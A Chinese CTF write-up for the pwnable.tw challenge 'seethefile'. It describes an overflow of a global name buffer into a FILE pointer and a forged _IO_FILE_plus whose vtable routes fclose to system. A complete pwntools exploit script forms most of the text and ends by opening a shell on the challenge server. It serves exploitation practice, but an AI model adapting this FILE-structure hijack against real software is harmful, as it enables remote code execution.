考察的是_IO_FILE_的漏洞,靶机环境是glibc-2.23。
原题地址:https://pwnable.tw/challenge/ 。
源程序下载:http://file.eonew.cn/ctf/pwn/seethefile.zip 。
目录
安全防护
ex@Ex:~/test$ checksec seethefile
[*] '/home/ex/test/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
溢出点
case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);
在退出时没有对输入长度进行限制,使得可以溢出到后面的fp指针上。
.bss:0804B260 public name
.bss:0804B260 ; char name[32]
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
思路
- 读取
/proc/self/maps
泄露地址 - 构造_IO_FILE_plus
构造_IO_FILE_plus
由于fp是可控的,我们可以使其执向我们构造的假的_IO_FILE_plus
,在其调用fclose
时会用到其中的fp->vtable->__finish
函数指针,我们只要将其改成system函数即可。
fclose
函数的利用可以参考ray-cp
的博客: https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis
。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
# signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './seethefile'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10200)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# Create temporary files for GDB debugging
try:
gdbscript = '''
set $f=(struct _IO_FILE_plus **)&fp
# b *0x8048AFD
b _IO_new_fclose
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('What do you want to see :', '/proc/self/maps')
sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')
sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')
sh.recvline()
libc_addr = int(sh.recvuntil('-')[:-1], 16)
log.success('libc_addr: ' + hex(libc_addr))
layout = [
0,0,
libc_addr + libc.symbols['system'], 0,
0, 0, 0, 0,
elf.symbols['name'] + 0x28, 0,
u32('\x80\x80||'), u32('sh\0\0'),
]
sh.sendlineafter('Your choice :', '5')
# pause()
sh.sendlineafter('Leave your name :', flat(layout).ljust(0x94 + 0x28, '\0') + p32(elf.symbols['name']))
sh.interactive()
clear()